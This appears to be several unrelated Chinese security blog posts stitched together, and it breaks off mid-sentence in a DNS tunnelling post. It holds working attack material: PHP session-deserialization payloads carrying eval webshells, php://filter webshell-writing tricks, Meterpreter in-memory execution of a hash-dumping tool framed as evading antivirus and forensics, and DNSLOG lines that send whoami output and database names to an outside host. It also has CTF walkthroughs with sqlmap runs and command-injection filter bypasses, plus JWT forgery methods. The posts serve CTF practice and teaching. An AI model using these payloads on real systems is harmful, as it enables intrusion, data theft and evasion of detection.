暂时未有相关云产品技术能力~
先来了解一下关于session的一些基础知识什么是session在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。session是如何起作用的当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。session_start()函数以及该函数所起的作用:当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。session存储机制php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。假设我们的环境是xampp,默认配置为:session.save_path="D:\xampp\tmp" session.save_handler=files session.auto_start=0 session.serialize_handler=php 在默认配置的情况下: 最后的session的存储和显示如下: 可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock"; 。name是键值,s:6:"spoock";是serialize("spoock")的结果。了解了有关session的概念后,还需要了解php.ini中一些Session配置:以上的选项就是与PHP中的Session存储和序列话存储有关的选项。在使用xampp组件安装中,上述的配置项的设置如下:session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下session.save_handler=files 表明session是以文件的方式来进行存储的session.auto_start=0 表明默认不启动sessionsession.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。想要知道为什么为出现这个session反序列化漏洞,就需要了解session机制中对序列化是如何处理的。在php中session有三种序列化的方式,分别是php_serialize, php_binary和php 这个便是在相应的处理器处理下,session所存储的格式,这里举个例子来了解一下在不同的处理器下,session所储存的格式有什么不一样(测试的时候php版本一定要大于5.5.4,不然session写不进文件)): 比如这里我get进去一个值为shy,查看一下各个存储格式: 这有什么问题,其实PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如:使用不同处理器来处理session文件。使用不同的引擎来处理session文件php引擎的存储格式是键名| serialized_string,而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题。先以php_serialize的格式存储,从客户端接收参数并存入session变量(1.php) 接下来使用php处理器读取session文件(2.php)攻击思路:首先访问1.php,在传入的参数最开始加一个'|',由于1.php是使用php_serialize处理器处理,因此只会把'|'当做一个正常的字符。然后访问2.php,由于用的是php处理器,因此遇到'|'时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'后的值进行反序列化处理。这里可能会有一个小疑问,为什么在解析session文件时直接对'|'后的值进行反序列化处理,这也是处理器的功能?这个其实是因为session_start()这个函数,可以看下官方说明: 首先生成一个payload: 攻击思路中说到了因为不同的引擎会对'|',产生歧义,所以在传参时在payload前加个'|',作为a参数,访问1.php,查看一下本地session文件,发现payload已经存入到session文件 访问一下2.php看看会有什么结果 成功触发了student类的__wakeup()方法,所以这种攻击思路是可行的。但这种方法是在可以对session的进行赋值的,那如果代码中不存在对$_SESSION变量赋值的情况下又该如何利用 没有$_SESSION变量赋值在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。在session.upload_process.enabled开启时会启用这个功能,在php.ini中会默认启用这个功能。 上传文件时,如果 POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS 的变量,就可以将 filename 的值赋值到session 中,filename 的值如果包含双引号,还需要进行转义,上传的页面的写法如下:<form action="http://example.com/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>最后 Session 就会保存上传的文件名。如果没有提供写入 Session 的地方,可以用这种方法。POST 请求的数据包:POST / HTTP/1.1 Host: web.jarvisoj.com:32784 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypN9LkEc0KCMj7TfC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3208.0 Safari/537.36 Cookie: PHPSESSID=jfdu23je5jlu43sfgc3akp3037 Content-Length: 302 ------WebKitFormBoundarypN9LkEc0KCMj7TfC Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" 123 ------WebKitFormBoundarypN9LkEc0KCMj7TfC Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:39:\"echo \"waterfood\"; eval($_REQUEST[\"v\"]);\";}" Content-Type: text/plain 123 ------WebKitFormBoundarypN9LkEc0KCMj7TfC--这种攻击方法与上一部分基本相同,不过这里需要先上传文件,同时POST一个与session.upload_process.name的同名变量(默认为PHP_SESSION_UPLOAD_PROGRESS)。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的session处理引擎。 举个栗子:当我们随便传入一个值时,便会触发__construct()魔法函数,从而出现phpinfo页面,在phpinfo页面发现 可以看到题目环境中的 session.serialize_handler 默认为 php_serialize 处理器,而程序使用的却是 php 处理器,而且开头 第4行 使用了 session_start() 函数,那么我们就可以利用 session.upload_progress.enabled 来伪造 session ,然后在 PHP 反序列化 session 文件时,还原 OowoO 类,最终执行 eval 函数。通过POST方法来构造数据传入$_SESSION,首先构造POST提交表单 接下来构造序列化payload 将payload改为如下代码:print_r(scandir(dirname(__FILE__)));#scandir 目录中的文件和目录#dirname 函数返回路径中的目录部分#__FILE__ php中的魔法常量,文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名#序列化后的结果 O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}为防止双引号被转义,在双引号前加上\,除此之外还要加上| |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}在这个页面随便上传一个文件,然后抓包修改filename的值 可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看 $_SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径,与 $_SERVER['SCRIPT_NAME'] 不同的是,这是服务器端的绝对路径。既然知道了路径,就继续构造payload即可print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));#file_get_contents() 函数把整个文件读入一个字符串中。接下来的就还是序列化然后改一下格式传入即可,后面的就不再写了 再举个栗子:class.php index.php 通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:myindex.php 在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是:O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下: 最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。那么最终写入的文件名是|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}。注意与本地反序列化不一样的地方是要在最前方加上| 永远相信 永远热爱
一、基础命令基础命令包含meterpreter与MSF终端、Ruby接口、目标shell等交互的命令background命令 :如果想在MSF终端中执行其他任务,可以使用background命令将meterpreter终端隐藏在后台sessions 命令 : metasploit的sessions命令可以查看已经成功获取的会话,如果想继续与某会话进行交互,可以使用sessions -i命令quit命令 : quit命令直接关闭当前的meterpreter会话,返回MSF终端shell命令 :shell命令可以获取系统的控制台shell,如果目标系统上的命令行可执行程序不存在或禁止访问,那么shell命令会出错。成功运行的结果如下:irb命令:irb命令可以在meterpreter会话里与Ruby终端进行交互,直接调用metasploit封装好的函数,如下显示了使用irb命令调用client.sys.config.sysinfo()函数获取系统配置信息的结果 二、文件系统命令文件系统命令允许meterpreter与目标的文件系统进行交互,包括查看文件内容、上传下载文件、对文件进行搜索、直接编辑文件等功能。 cat命令 :使用cat命令查看文件内容。下图命令,在system权限下,可以读取目标机器上的boot.ini文件,并获得了引导文件信息。这里反斜杠需要转义getwd命令 :getwd命令可以获得目标机上当前的工作目录,相似的命令有getlwd,这个命令可以获得当前系统的工作目录upload命令:meterpreter的upload命令可以上传文件或文件夹到目标机器上,其命令行选项的帮助如下所示: 参数-r可以将文件夹内的文件或文件夹递归的上传,不需要考虑多层目录的问题,下面的命令,可以简单地将test1.txt 上传至目标机上的C盘根目录:download命令 : download命令从目标机上下载文件或文件夹,需要注意的是这里用双反斜杠进行转义edit命令 : 使用edit命令可以调用vi编辑器,对目标机上的文件进行编辑search命令 : search命令支持对远程目标机上的文件进行搜索,用参数-h查看帮助如下参数-d指定搜索的起始目录或驱动,如果为空,将进行全盘搜索;参数-f指定搜索的文件或者部分文件名,支持星号(*)匹配,星号(*)匹配任意长度的字符串,问号(?)匹配任意单个字符;参数-r递归搜索子目录。如下命令在目标主机上的C:\windows目录,搜索数据库文件 三、网络命令网络命令可用于查看目标机器上的网络状况、连接信息等,还支持在目标机器上进行端口转发。ipconfig命令 : ipconfig命令用于获取目标主机上的网络接口信息 portfwd命令 : portfwd命令是meterpreter内嵌的端口转发器,一般在目标主机开放的端口不允许直接访问的情况下使用,比如说,目标主机开放的远程桌面3389端口只允许内网访问,这时可以使用portfwd命令进行端口转发,以达到直接访问目标主机的目的。portfwd的帮助信息如下:假设目标主机开放了3389端口,使用如下命令将其转发到本地的1234端口,如下图所示,可以看到本地1234端口已经开放route命令 : route命令用于显示目标主机的路由信息: 四、系统命令meterpreter的系统命令用于查看目标系统的一些信息、对系统进行基本的操作等。ps命令 : ps命令用于获得目标主机上正在运行的进行信migrate :使用migrate命令可以将meterpreter会话从一个进程移植到另一个进程的内存空间中,这个命令在渗透攻击模块中经常使用。试想一下,如果是利用IE浏览器漏洞进行溢出得到的meterpreter会话,meterpreter代码存在于IE的内存空间中,如果用户关闭浏览器,将会终止会话连接。这时可以将会话移植到稳定的系统服务进程中,比如explorer.exe 。而且这种移植是无缝移植,不需要端口已有TCP连接再建立新的连接。execute命令 : execute命令可以在目标机上执行文件,帮助信息如下:下面的命令在目标机上隐藏执行cmd.exe程序: 另外,execute命令的-m参数支持直接从内存中执行攻击端的可执行文件 ,如 (1) execute -H -m -d calc.exe -f wce.exe -a "-o foo.txt" (2)cat foo.txt 获取hash值。 这种内存执行方式有几个优点:(1)使用-d选项设置需要显示的进程名,这样可以避开敏感人士的检查。(2)可执行文件不需要在目标机上存储,不会留下痕迹,增大了取证分析的难度。(3)从内存执行的方式能避开大部分杀毒软件的查杀,这在使用如WCE等黑客工具时尤其有用。 getpid命令 :getpid命令用于获得当前会话所在进程的PID值kill命令 : kill命令用于终结指定的PID进程getuid命令 :getuid命令用于获得运行meterpreter会话的用户名,从而查看当前会话具有的权限sysinfo命令: sysinfo命令用于得到目标系统的一些信息,包括机器名、使用的操作系统等shutdown命令 : shutdown命令用于关闭目标主机,显然,meterpreter会话也将被关闭。 永远相信 永远热爱
Round 1<?php $content = '<?php exit; ?>'; $content .= $_POST['txt']; file_put_contents($_POST['filename'], $content);$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。幸运的是,这里的$_POST['filename']是可以控制协议的,我们即可使用 php://filter协议来施展魔法。#方法一、base64编码使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。众所周知,base64编码中只包含64个可打印字符(A-Z a-z 0-9 + /)'='补位,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。最终效果:#方法二、利用字符串操作方法+base64组合拳除了使用base64特性的方法外,我们还可以利用php://filter字符串处理方法来去除“死亡exit”。我们观察一下,这个<?php exit; ?>实际上是什么?实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。编写如下测试代码即可查看 php://filter/read=string.strip_tags/resource=php://input 的效果:echo readfile('php://filter/read=string.strip_tags/resource=php://input');可见,<?php exit; ?>被去除了。但回到上面的题目,我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。万幸的是,php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。最终效果:#方法三、ROT13编码原理和上面类似,核心是将“死亡exit”去除。<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了: Round 2 <?php $a = $_POST['txt']; file_put_contents($a,"<?php exit();".$a);这种是前后两个变量相同,假设$a可控情况。这种相同变量的构造方式和不同变量的构造方式思路是大差不差的,都是需要干掉<?php exit();,只不过构造起来相对更复杂一些。#方法一、base64编码根据前面介绍的不同变量的构造方法,很容易拓展到相同的变量,同样利用php://filter来构造,反正后面是写入的内容,只要在后面解码的时候把shell解码出来,不需要的东西解码成乱码即可,而Base64构造的话,例如$a=php://filter/write=convert.base64-decode|PD9waHAgcGhwaW5mbygpOz8+/resource=shell.php ( <?php phpinfo();?> base64编码 PD9waHAgcGhwaW5mbygpOz8+ )构造的shell可以放在过滤器的位置和文件名位置都可以(其他编码有时候会有空格什么的乱码,文件名不一定好用),php://filter面对不可用的规则(一串base64)是报个Warning,绕后跳过继续执行的(不会退出),所以按理说这样构造是“很完美”的。我们看下base-decode哪些字符👇php//filter/write=convertbase64decodePD9waHAgcGhwaW5mbygpOz8+/resource=shellphp而默认情况下base64编码是以 = 作为结尾的,所以正常解码的时候到了 = 就解码结束了,即使我们构造payload的时候不用write=,但是在最后获取文件名的时候resource=中的 = 过不掉,所以导致过滤器解码失败,从而报错...这里用base64编码我还没找到好的方法,待补充...#方法二、ROT13rot13编码就不存在base64的问题,所以和前面base64构造的思路一样$a = php://filter/write=string.rot13|<?cuc cucvasb();?>/resource=shell.php 和前面提到的一样,这种方法是需要服务器没有开启短标签的时候才可以使用(默认情况是没开启的:php.ini中的short_open_tag)#方法三、iconv字符编码转换通过字符转换把<?php exit();转成不能解析的,这里采用的是UCS-2或者UCS-4编码方式,而我们构造的转成可正常解析的#echo iconv("UCS-2LE","UCS-2BE",'<?php phpinfo();?>');?<hp phpipfn(o;)>?这里用的是UCS-2,当然我们也可以用UCS-4echo iconv("UCS-4LE","UCS-4BE",'aa<?php phpinfo();?>'); ?<aa phpiphp(ofn>?;)通过UCS-2或者UCS-4的方式,对目标字符串进行2/4位一反转,也就是说构造的需要是UCS-2或UCS-4中2或者4的倍数,不然不能进行反转,那我们就可以利用这种过滤器进行编码转换绕过了,构造payload$a='php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php'; **or** $a='php://filter/convert.iconv.UCS-4LE.UCS-4BE|xxx?<aa phpiphp(ofn>?;)/resource=shell.php'; #由于是4位一反转,所以需要保证?<aa phpiphp(ofn>?;)之前字符个数是4的倍数,所以补充了 xxx #方法四、iconv字符编码转换+ROT13编码组合拳和前后不同的变量的利用一样,相同变量一样可以使用组合拳,原因前面描述过了,就不赘述,这里就用UCS-2和rot13举一个例子吧$a = 'php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=shell.php'#先将 <?php phpinfo(); ?> 进行rot13得到<?cuc cucvasb();?>#再对<?cuc cucvasb();?>进行UCS2编码转换得到?<uc cucvcsa(b;)>?#最后x 补位#最终得到x?<uc cucvcsa(b;)>? 为何不用string.strip_tags呢?因为rot13转换的同样会被strip_tags方法给删除了,而UCS-2或UCS-4构造的也同样会被strip_tags方法给删除,这里需要找其他的编码方式进行构造。参考:https://www.leavesongs.com/PENETRATION/php-filter-magic.htmlhttps://mp.weixin.qq.com/s/BXBe0sviIpjzQb49fk1TCg
DNSLOG的原理DNS的解析是递归与迭代相结合的,下面给出了当我们访问www.cloudcrowd.com.cn时,DNS的解析过程示意图。其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。DNSLOG工具如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:https://github.com/BugScanTeam/DNSLog。另外我们也可以使用在线平台:http://admin.dnslog.link。http://ceye.io。https://dnslog.io/ 场景一:SQL盲注回显原理:不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\\www.test.com这样的URL发起请求。dnslog回显只能用于windows系统,原理就是'\\\\'代表Microsoft Windows通用命名规则(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。(UNC格式 \\servername\sharename ,其中 servername 是服务器名,sharename 是共享资源名)用法:在mysql命令行执行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查询语句查看平台,dnsLog被记录下来。 举例:以sql-labs第五关为例payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxx.dnslog.io\\xxx'))),1,0) --+http://192.168.43.128/sqli-labs-master/Less-5/?id=1%27%20and%20if((select%20load_file(concat(%27\\\\%27,(select%20database()),%27.g8r7q.l.dnslog.io\\abc%27))),1,0)%20--+ 查看dnslog日志,发现security数据库被查询出来: 场景二:命令执行盲注回显当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求curl http://haha.xxx.ceye.io/`whoami` ping `whoami`.xxxx.ceye.io Windows ping %USERNAME%.xxx.ceye.io 除了上面详细列出的例子之外,DNSLOG还可以利用在诸如Blind XSS、Blind XXE和Blind SSRF之类的漏洞上,原理是一样的,这样就不演示了。 参考:https://www.freebuf.com/column/184587.htmlhttps://www.cnblogs.com/afanti/p/8047530.html永远相信 永远热爱
WebHTTP协议请求方式 302跳转 cookie 基础认证 响应包源代码 信息泄露目录遍历 phpinfo 备份文件下载网站源码 bak文件 vim缓存下载下来放到linux中在文件前面加的点(.) .index.php.swp然后运行 vi -r index.php .DS_Store记事本打开 Git泄露Logpython git_extract.py http://challenge-8cff71d12c02de35.sandbox.ctfhub.com:10080/.git/ Stash同上 Index同上 SVN泄露使用dvcs-ripper工具 HG泄露使用dvcs-ripper工具 密码口令弱口令admin 123456 默认口令百度搜索亿邮邮件网关默认口令 SQL注入整数型注入 字符型注入 报错注入extractvalue函数报错: 1 and ( extractvalue( 'anything',concat( '~', (select database()) ) ) );updatexml函数报错: 1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)只能显示32位:substr(字符串,开始位置,长度) 布尔盲注sqlmapsqlmap -u "http://challenge-520521e9124c0be8.sandbox.ctfhub.com:10080/?id=1" --dbs -technique B 数据库 sqli 表 flag 字段 flag 时间盲注sqlmapsqlmap -u " http://challenge-58442e11e1306e17.sandbox.ctfhub.com:10080/?id=1" --dbs -technique T MySQL结构-1 union select 1, group_concat(djbtjjrnuq) from sqli.pqfzaflkkt; cookie注入sqlmap -u " http://challenge-52d3494f9e4a406f.sandbox.ctfhub.com:10080/" --cookie "id=1" --level 2 --dbs UA注入user-agent: -1 union select 1,group_concat(hddxcgzzsv) from sqli.bgerzmdwpi;#sqlmap: sqlmap -u "http://challenge-f7a6b5d5665981cc.sandbox.ctfhub.com:10080/" --user-agent "123" --level 3 --dbs -technique U --dbms Refer注入同上,只不过在referer中输入SQL语句 XSS反射型 文件上传无验证前端验证把PHP文件后缀改为jpg,抓包再改回php.htaccess上传.htaccess和hhh.jpg MIME绕过正常上传,抓包,将content-type改为 image/jpeg00截断双写后缀文件头检测将一句话马改为jpg后缀,抓包,修改后缀为php,并添加gif头 RCE命令注入127.0.0.1 & ls 过滤cat127.0.0.1 & more flag_162822816029866.php 过滤空格使用${IFS}代替空格(可以代替空格的有IFS$9、%09、%0a、<、>、<>、{,}、${IFS}等) 过滤目录分隔符使用;符号分割命令127.0.0.1 & ls发现flag_is_here目录127.0.0.1 & cd flag_is_here;ls发现flag_44052408916433.php文件127.0.0.1& cd flag_is_here;ls;cat flag_44052408916433.php查看源代码得到flag 过滤运算符127.0.0.1 ; cat flag_991932693945.php 综合过滤练习过滤了|,&,;, ,/,cat,flag,ctfhub%0a(换行符)可以代替;符号,但是要在url处输入,不然会被再次转义%09或者${IFS}等,可以替代空格通配符 * ? 127.0.0.1%09%0a%09cd%09fla?_is_here%0amore%09fla?_260832613315632.php#
JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。jwt由三个部分组成:header.payload.signature官网:https://jwt.io/JWT原理0x01 JWT认证流程在项目开发中,一般会按照上图所示的过程进行认证,即:用户登录成功之后,服务端给用户浏览器返回一个token,以后用户浏览器要携带token再去向服务端发送请求,服务端校验token的合法性,合法则给用户看数据,否则,返回一些错误信息。0x02 传统token方式和jwt在认证方面有什么差异?传统token方式:用户登录成功后,服务端生成一个随机token给用户,并且在服务端(数据库或缓存)中保存一份token,以后用户再来访问时需携带token,服务端接收到token之后,去数据库或缓存中进行校验token的是否超时、是否合法。jwt方式:用户登录成功后,服务端通过jwt生成一个随机token给用户(服务端无需保留token),以后用户再来访问时需携带token,服务端接收到token之后,通过jwt对token进行校验是否超时、是否合法。0x03 JWT原理jwt的生成token格式如下,即:由 . 连接的三段字符串组成。eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c生成规则如下:第一段HEADER部分,固定包含算法和token类型,对此json进行base64url加密,这就是token的第一段。{ "alg": "HS256", "typ": "JWT" }第二段PAYLOAD部分,包含一些数据,对此json进行base64url加密,这就是token的第二段{ "sub": "1234567890", "name": "John Doe", "iat": 1516239022 ... }第三段SIGNATURE部分,把前两段的base密文通过.拼接起来,然后对其进行HS256加密,再然后对hs256密文进行base64url加密,最终得到token的第三段。{ "alg": "HS256", "typ": "JWT" }最后将三段字符串通过 .拼接起来就生成了jwt的token。注意:base64url加密是先做base64加密,然后再将 - 替代 + 及 _ 替代 / 。 代码实现参考:https://pythonav.com/wiki/detail/6/67/JWT攻击方式加密算法0x01 空加密算法JWT支持使用空加密算法,可以在header中指定alg为None这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段{ "alg" : "None", "typ" : "jwt" } { "user" : "Admin" }生成的完整token为ew0KCSJhbGciIDogIk5vbmUiLA0KCSJ0eXAiIDogImp3dCINCn0.ew0KCSJ1c2VyIiA6ICJBZG1pbiINCn0(header+'.'+payload,去掉了'.'+signature字段)空加密算法的设计初衷是用于调试的,但是如果某天开发人员脑阔瓦特了,在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None,就可以在payload中构造身份信息,伪造用户身份。0x02 修改RSA加密算法为HMACJWT中最常用的两种算法为HMAC和RSA。HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)的缩写,它是一种对称加密算法,使用相同的密钥对传输信息进行加解密。RSA则是一种非对称加密算法,使用私钥加密明文,公钥解密密文。在HMAC和RSA算法中,都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。现在我们假设有这样一种情况,一个Web应用,在JWT传输过程中使用RSA算法,密钥pem对JWT token进行签名,公钥pub对签名进行验证。{ "alg" : "RS256", "typ" : "jwt" }通常情况下密钥pem是无法获取到的,但是公钥pub却可以很容易通过某些途径读取到,这时,将JWT的加密算法修改为HMAC,即{ "alg" : "HS256", "typ" : "jwt" }同时使用获取到的公钥pub作为算法的密钥,对token进行签名,发送到服务器端。服务器端会将RSA的公钥(pub)视为当前算法(HMAC)的密钥,使用HS256算法对接收到的签名进行验证。参考2018CUMTCTF-Final-Web Paterbin:https://skysec.top/2018/05/19/2018CUMTCTF-Final-Web/#Pastebin/爆破密钥俗话说,有密码验证的地方,就有会爆破。不过对 JWT 的密钥爆破需要在一定的前提下进行:知悉JWT使用的加密算法一段有效的、已签名的token签名用的密钥不复杂(弱密钥)所以其实JWT 密钥爆破的局限性很大。相关工具:c-jwt-cracker以下是几个使用示例 可以看到简单的字母数字组合都是可以爆破的,但是密钥位数稍微长一点或者更复杂一点的话,爆破时间就会需要很久。修改KID参数kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密{ "alg" : "HS256", "typ" : "jwt", "kid" : "/home/jwt/.ssh/pem" }因为该参数可以由用户输入,所以也可能造成一些安全问题。0x01 任意文件读取kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。{ "alg" : "HS256", "typ" : "jwt", "kid" : "/etc/passwd" }0x02 SQL注入kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证{ "alg" : "HS256", "typ" : "jwt", "kid" : "key11111111' || union select 'secretkey' -- " }0x03 命令注入对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。"/path/to/key_file|whoami"对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。修改JKU/X5U参数JKU的全称是"JSON Web Key Set URL",用于指定一组用于验证令牌的密钥的URL。类似于kid,JKU也可以由用户指定输入数据,如果没有经过严格过滤,就可以指定一组自定义的密钥文件,并指定web应用使用该组密钥来验证token。X5U则以URI的形式数允许攻击者指定用于验证令牌的公钥证书或证书链,与JKU的攻击利用方式类似。信息泄露JWT保证的是数据传输过程中的完整性而不是机密性。由于payload是使用base64url编码的,所以相当于明文传输,如果在payload中携带了敏感信息(如存放密钥对的文件路径),单独对payload部分进行base64url解码,就可以读取到payload中携带的信息。 永远相信 永远热爱
DNS隧道技术原理什么是隧道?在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。什么是DNS隧道?DNS隧道(DNS 